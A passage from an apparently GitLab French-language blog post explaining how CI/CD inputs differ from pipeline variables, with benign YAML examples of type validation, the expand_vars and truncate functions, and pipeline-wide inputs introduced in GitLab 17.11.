<p>L'un des avantages des intrants CI/CD est leur flexibilité en termes de temps de configuration. Évalués et interpolés dès la création du pipeline à l'aide du format d'interpolation <code>$[[ inputs.input-id ]]</code>, ils peuvent être utilisés dans toutes les parties de la configuration de votre pipeline, y compris les noms de jobs, les conditions de règles, les images de conteneurs et tout autre élément du fichier de configuration YAML. Ils contournent ainsi les limites liées à l'interpolation des variables dans certains contextes.</p>
<p>Voici un cas d'utilisation courant : vous définissez des noms de jobs comme suit : <code>test-$[[ inputs.environment ]]-deployment</code>.</p>
<p>En intégrant des intrants CI/CD dans les noms de jobs, vous évitez les conflits lorsqu'un composant est inclus plusieurs fois dans un même pipeline. Sinon, le fait d'inclure le même composant deux fois entraînerait des conflits de noms de jobs, la deuxième inclusion écrasant la première. Les intrants CI/CD permettent au contraire de générer des noms de jobs uniques à chaque inclusion.</p>
<p><strong>Voici le script sans les intrants CI/CD :</strong></p>
<pre><code class="language-yaml">
test-service:
  variables:
    SERVICE_NAME: auth-service
    ENVIRONMENT: staging
  script:
    - run-tests-for $SERVICE_NAME in $ENVIRONMENT
</code></pre>
<p><strong>Voici le script avec les intrants CI/CD :</strong></p>
<pre><code class="language-yaml">
spec:
  inputs:
    environment:
      type: string
    service_name:
      type: string

test-$[[ inputs.service_name ]]-$[[ inputs.environment ]]:
  script:
    - run-tests-for $[[ inputs.service_name ]] in $[[ inputs.environment ]]
</code></pre>
<p>Lorsqu'un composant est inclus plusieurs fois avec des intrants différents, il génère des jobs tels que <code>test-auth-service-staging</code>, <code>test-payment-service-production</code> et <code>test-notification-service-development</code>. Chaque job porte ainsi un nom unique et explicite qui indique clairement son objectif, ce qui renforce la visualisation du pipeline : en effet, cela évite que plusieurs jobs avec des noms identiques se remplacent les uns les autres.</p>
<p>Revenons maintenant au premier exemple présenté au début de cet article, cette fois en tirant parti des intrants CI/CD. Premier avantage immédiat : au lieu de gérer plusieurs fichiers de templates, nous pouvons désormais n'en maintenir qu'un seul et le réutiliser avec des valeurs d'intrant personnalisées :</p>
<pre><code class="language-yaml">
spec:
  inputs:
    environment:
      type: string
    database_url:
      type: string
    action:
      type: string
---


$[[ inputs.action ]]-$[[ inputs.environment ]]:
  script:
    - echo &quot;Running $[[ inputs.action ]] in $[[ inputs.environment ]] environment&quot;
    - echo &quot;Database URL is $[[ inputs.database_url ]]&quot;
    - run-$[[ inputs.action ]] --env=$[[ inputs.environment ]] --db=$[[ inputs.database_url ]]
</code></pre>
<p>Dans le fichier principal <code>gitlab-ci.yml</code>, nous pouvons l'inclure deux fois (ou plus) avec des valeurs différentes, en veillant à éviter les conflits de noms.</p>
<pre><code class="language-yaml">
include:
  - local: 'templates/environment-template.yml'
    inputs:
      environment: test
      database_url: test-db.example.com
      action: tests
  - local: 'templates/environment-template.yml'
    inputs:
      environment: production
      database_url: prod-db.example.com
      action: deploy
</code></pre>
<p><strong>Résultat :</strong> au lieu de maintenir des fichiers YAML distincts pour les jobs de test et de déploiement, vous disposez désormais d'un template réutilisable unique qui gère les deux cas d'utilisation en toute sécurité. Cette approche s'adapte à un nombre illimité d'environnements ou de types de jobs, ce qui réduit les frais de maintenance, élimine la duplication du code et garantit la cohérence de l'ensemble de la configuration de votre pipeline. Vous n'avez qu'un seul template à maintenir au lieu de plusieurs, sans risque de conflit de variables ni de dérive de configuration.</p>
<h3>Validation et sécurité des types</h3>
<p>L'un des grands atouts des intrants CI/CD par rapport aux variables réside dans les capacités de validation des types. Ils prennent en charge différents types de valeurs, notamment les chaînes, les nombres, les valeurs booléennes et les tableaux, et la validation a lieu dès la création du pipeline. Si vous définissez un intrant CI/CD en tant que valeur booléenne, mais que vous passez une chaîne, GitLab rejette le pipeline avant l'exécution de tout job, ce qui vous permet d'économiser du temps et des ressources.</p>
<p>Voici un exemple illustrant l'énorme avantage de la validation des types.</p>
<p><strong>Sans validation des types (variables) :</strong></p>
<pre><code class="language-yaml">
variables:
  ENABLE_TESTS: &quot;true&quot;  # Always a string
  MAX_RETRIES: &quot;3&quot;      # Always a string

deploy_job:
  script:
    - if [ &quot;$ENABLE_TESTS&quot; = true ]; then  # This fails!
        echo &quot;Running tests&quot;
      fi
    - retry_count=$((MAX_RETRIES + 1))      # String concatenation: &quot;31&quot;
</code></pre>
<p><strong>Problème :</strong> la vérification booléenne échoue, car « <code>true</code> » (chaîne) n'est pas égal à <code>true</code> (valeur booléenne).</p>
<p><strong>Avec validation des types (intrants CI/CD) :</strong></p>
<pre><code class="language-yaml">
spec:
  inputs:
    enable_tests:
      type: boolean
      default: true
    max_retries:
      type: number
      default: 3



      
deploy_job:
  script:
    - if [ &quot;$[[ inputs.enable_tests ]]&quot; = true ]; then  # Works correctly
        echo &quot;Running tests&quot;
      fi
    - retry_count=$(($[[ inputs.max_retries ]] + 1))    # Math works: 4
</code></pre>
<p><strong>Impact réel d'un échec de validation des types via des variables</strong> : imaginons qu'un développeur ou processus déclenche un pipeline GitLab CI/CD avec <code>ENABLE_TESTS = yes</code> au lieu de <code>true</code>. Supposons qu'il faille en moyenne 30 minutes avant que le job de déploiement ne commence : lorsque ce job démarre, au bout de 30 minutes d'exécution du pipeline ou plus, le script de déploiement tente d'évaluer la valeur booléenne et échoue.</p>
<p>Cela a un impact non seulement sur le délai de mise sur le marché, mais également sur le temps de débogage requis pour trouver la raison de l'échec d'un job de déploiement apparemment basique.</p>
<p>Avec les intrants CI/CD basés sur la validation des types, GitLab CI/CD génère immédiatement une erreur et fournit un message d'erreur explicite concernant l'incompatibilité de type.</p>
<h3>Sécurité et contrôle d'accès</h3>
<p>Les intrants CI/CD renforcent la sécurité, car ils contrôlent de façon stricte la transmission de paramètres avec des contrats explicites qui définissent précisément les valeurs attendues et autorisées. Ainsi, les limites sont claires entre les paramètres et la logique du pipeline. De plus, une fois le pipeline démarré, les intrants ne peuvent pas être modifiés pendant l'exécution, ce qui garantit un comportement prévisible tout au long du cycle de vie du pipeline et permet d'éliminer les risques de sécurité liés à la manipulation des variables en cours de route.</p>
<h3>Portée et cycle de vie</h3>
<p>Les variables définies à l'aide du mot-clé <code>variables:</code> au niveau supérieur de votre fichier <code>.gitlab-ci.yml</code> s'appliquent par défaut à tous les jobs de votre pipeline. Lorsque vous incluez des templates, vous devez tenir compte de ces variables globales, car elles peuvent interagir avec le comportement attendu du template en raison de l'ordre de priorité des variables propre à GitLab.</p>
<p>À l'inverse, les intrants CI/CD sont définis dans les fichiers de configuration CI (par exemple, les composants ou les templates), puis des valeurs leur sont attribuées lorsqu'un pipeline est déclenché, ce qui vous permet de personnaliser les configurations CI réutilisables. Ils servent uniquement à la création et la configuration du pipeline et sont limités au fichier de configuration CI où ils sont définis. Une fois l'exécution du pipeline lancée, ils ne peuvent plus être modifiés. Étant donné que chaque composant conserve ses propres intrants, il n'y a aucun risque d'interférence avec d'autres composants ou templates de votre pipeline. Cette approche prévient les conflits et les remplacements de variables qui sont fréquents avec le système traditionnel basé sur les variables globales.</p>
<h2>Combiner variables et intrants</h2>
<p>De nombreuses équipes utilisent de manière intensive des workflows basés sur les variables, et une migration complète vers les intrants CI/CD ne se fait pas du jour au lendemain. C'est pourquoi nous avons développé des mécanismes qui permettent d'utiliser à la fois des intrants et des variables pour favoriser la transition entre les deux systèmes et surmonter les principaux défis liés à l'expansion des variables.</p>
<p>Prenons un exemple concret pour illustrer cette complémentarité.</p>
<p><strong>Expansion des variables dans les conditions de règles</strong></p>
<p>L'utilisation de variables qui contiennent d'autres références au sein des conditions <code>rules:if</code> peut s'avérer problématique. GitLab ne développe les variables que sur un niveau lors de l'évaluation de ces règles, ce qui peut entraîner des comportements inattendus :</p>
<pre><code class="language-yaml">
# This doesn't work as expected


variables:
  TARGET_ENV:
    value: &quot;${CI_COMMIT_REF_SLUG}&quot;

deploy-job:
  rules:
    - if: '$TARGET_ENV == &quot;production&quot;'  # Compares &quot;${CI_COMMIT_REF_SLUG}&quot; != &quot;production&quot;
      variables:
        DEPLOY_MODE: &quot;blue-green&quot;
</code></pre>
<p>La fonction <code>expand_vars</code> résout ce problème en forçant une expansion appropriée des variables dans les intrants :</p>
<pre><code class="language-yaml">
spec:
  inputs:
    target_environment:
      description: &quot;Target deployment environment&quot;
      default: &quot;${CI_COMMIT_REF_SLUG}&quot;
---



deploy-job:
  rules:
    - if: '&quot;$[[ inputs.target_environment | expand_vars ]]&quot; == &quot;production&quot;'
      variables:
        DEPLOY_MODE: &quot;blue-green&quot;
        APPROVAL_REQUIRED: &quot;true&quot;
    - when: always
      variables:
        DEPLOY_MODE: &quot;rolling&quot;
        APPROVAL_REQUIRED: &quot;false&quot;
  script:
    - echo &quot;Target: $[[ inputs.target_environment | expand_vars ]]&quot;
    - echo &quot;Deploy mode: ${DEPLOY_MODE}&quot;
</code></pre>
<h3>L'importance d'une telle opérabilité</h3>
<p>Sans <code>expand_vars</code>, les conditions de règles sont évaluées à partir de la référence littérale d'une variable (comme <code>&quot;${CI_COMMIT_REF_SLUG}&quot;</code>) plutôt que sa variable développée (comme <code>&quot;production&quot;</code>). Il en résulte des règles qui ne se déclenchent pas comme prévu et brisent la logique conditionnelle du pipeline.</p>
<p><strong>Remarques importantes concernant expand_vars :</strong></p>
<ul>
<li>
<p>Seules les variables qui peuvent être utilisées avec le terme <em>include</em> sont prises en charge.</p>
</li>
<li>
<p>Les variables doivent être rendues accessibles (non marquées comme protégées/masquées).</p>
</li>
<li>
<p>L'expansion des variables imbriquées n'est pas prise en charge.</p>
</li>
<li>
<p>Les conditions de règles avec <code>expand_vars</code> doivent être correctement citées : <code>'&quot;$[[ inputs.name | expand_vars ]]&quot; == &quot;value&quot;'</code>.</p>
</li>
</ul>
<p>Ce mécanisme résout la limitation d'expansion de variables à un seul niveau et fonctionne pour toute logique conditionnelle qui nécessite de comparer des valeurs de variables entièrement résolues.</p>
<h3>Chaînage de fonctions pour un traitement avancé</h3>
<p>En plus de <code>expand_vars</code>, vous pouvez chaîner d'autres fonctions telles que <code>truncate</code> pour raccourcir les valeurs aux restrictions de nommage (par exemple, celles imposées par les noms de ressources <a href="https://about.gitlab.com/fr-fr/blog/2024/07/25/kubernetes-the-container-orchestration-solution/" title="Qu'est-ce que Kubernetes">Kubernetes</a>). Vous pouvez ainsi créer des pipelines plus sophistiqués, capables de traiter les paramètres tout en maintenant la sécurité et la prévisibilité qu'offrent les intrants CI/CD.</p>
<pre><code class="language-yaml">
spec:  
  inputs:
    service_identifier:
      default: 'service-$CI_PROJECT_NAME-$CI_COMMIT_REF_SLUG'
---


create-resource:
  script:
    - resource_name=$[[ inputs.service_identifier | expand_vars | truncate(0,50) ]]
</code></pre>
<p>Cette capacité d'intégration vous permet d'adopter progressivement les intrants CI/CD tout en tirant parti de votre infrastructure de variables existante, ce qui facilite la migration vers le nouveau système.</p>
<h3>Des composants uniquement aux pipelines CI complets</h3>
<p>Jusqu'à la version GitLab 17.11, les intrants n'étaient réservés qu'aux composants et templates inclus via la syntaxe <code>include:</code>, ce qui limitait leur utilisation aux configurations CI/CD réutilisables, mais ne répondait pas au besoin plus large de personnalisation dynamique des pipelines.</p>
<h3>Prise en charge des intrants à l'échelle du pipeline</h3>
<p>À partir de GitLab 17.11, les intrants peuvent désormais être utilisés pour modifier en toute sécurité le comportement du pipeline dans tous les contextes d'exécution associés afin de remplacer le recours traditionnel aux variables de pipeline. Cette prise en charge étendue inclut notamment les pipelines suivants :</p>
<ul>
<li>
<p>Pipelines planifiés : définissez des intrants avec des valeurs par défaut pour les exécutions automatisées et autorisez le remplacement manuel si nécessaire.</p>
</li>
<li>
<p>Pipelines en aval : transmettez des intrants structurés aux pipelines enfants et multi-projets, avec une validation et une sécurité des types garanties.</p>
</li>
<li>
<p>Pipelines manuels : proposez une interface claire et validée pour la saisie des intrants.</p>
</li>
</ul>
<p>Ces premières améliorations, auxquelles s'ajouteront prochainement d'autres fonctionnalités, permettent aux équipes de moderniser leurs pipelines tout en assurant une rétrocompatibilité progressive. Une fois les intrants CI/CD pleinement adoptés, vous pouvez désactiver les variables de pipeline pour garantir un environnement CI/CD plus sécurisé et prévisible.</p>
<h2>Résumé</h2>
<p>La migration des variables vers les intrants CI/CD représente plus qu'une simple mise à niveau technique : cette évolution garantit des <a href="https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/" title="Qu'est-ce qu'un pipeline CI/CD ?">pipelines CI/CD</a> plus faciles à maintenir, plus prévisibles et plus sécurisés. Même si les variables continuent de servir des objectifs importants dans de nombreux scénarios de configuration, les intrants CI/CD fournissent les capacités de transmission de paramètres tant attendues par les équipes de développement.</p>
<p>Conscients que les variables sont profondément intégrées dans les workflows actuels, nous avons conçu des passerelles entre les deux systèmes. La fonction <code>expand_vars</code> et d'autres capacités d'intrant permettent de tirer parti de ce mécanisme, mais aussi de votre infrastructure de variables existante.</p>
<p>En commençant par de nouveaux composants et templates, puis en migrant progressivement les workflows critiques, vous constaterez rapidement les avantages de contrats explicites, d'une détection précoce des erreurs et d'une automatisation plus fiable qui s'étend à l'ensemble de votre entreprise. De plus, l'adoption des intrants CI/CD constitue un socle idéal pour tirer pleinement parti du <a href="https://gitlab.com/explore/catalog">catalogue CI/CD de GitLab</a>. Grâce à leurs interfaces typées, les composants réutilisables deviennent des fondamentaux puissants pour structurer vos workflows <a href="https://about.gitlab.com/fr-fr/topics/devops/" title="Qu'est-ce que l'approche DevOps ?">DevOps</a>. Nous reviendrons sur ce sujet en détail dans un prochain article.</p>
<p>Adopter les intrants CI/CD aujourd'hui, c'est investir dans des pipelines plus robustes, plus lisibles, plus compréhensibles pour demain. Même si vous utilisez déjà un système basé sur des variables, les intrants peuvent être intégrés progressivement afin d'assurer une transition en douceur.</p>
<h2>Prochaines étapes</h2>
<p>Nous prévoyons d'étendre les capacités actuelles des intrants en vue de résoudre deux enjeux clés : améliorer le déclenchement des pipelines avec des options en cascade qui <a href="https://gitlab.com/gitlab-org/gitlab/-/issues/520094">s'ajustent dynamiquement au choix de l'utilisateur</a> et introduire des intrants au niveau des jobs afin de pouvoir <a href="https://gitlab.com/groups/gitlab-org/-/epics/17833">relancer des jobs spécifiques avec des paramètres différents</a>. Nous vous encourageons à suivre ces discussions, à partager vos retours et à contribuer à façonner le développement de ces fonctionnalités via notre <a href="https://gitlab.com/gitlab-org/gitlab/-/issues/407556">ticket dédié aux retours d'expérience</a>.</p>
]]></content>
        <author>
            <name>Dov Hershkovitch</name>
            <uri>https://about.gitlab.com/blog/authors/dov-hershkovitch</uri>
        </author>
        <published>2025-07-07T00:00:00.000Z</published>
    </entry>
</feed>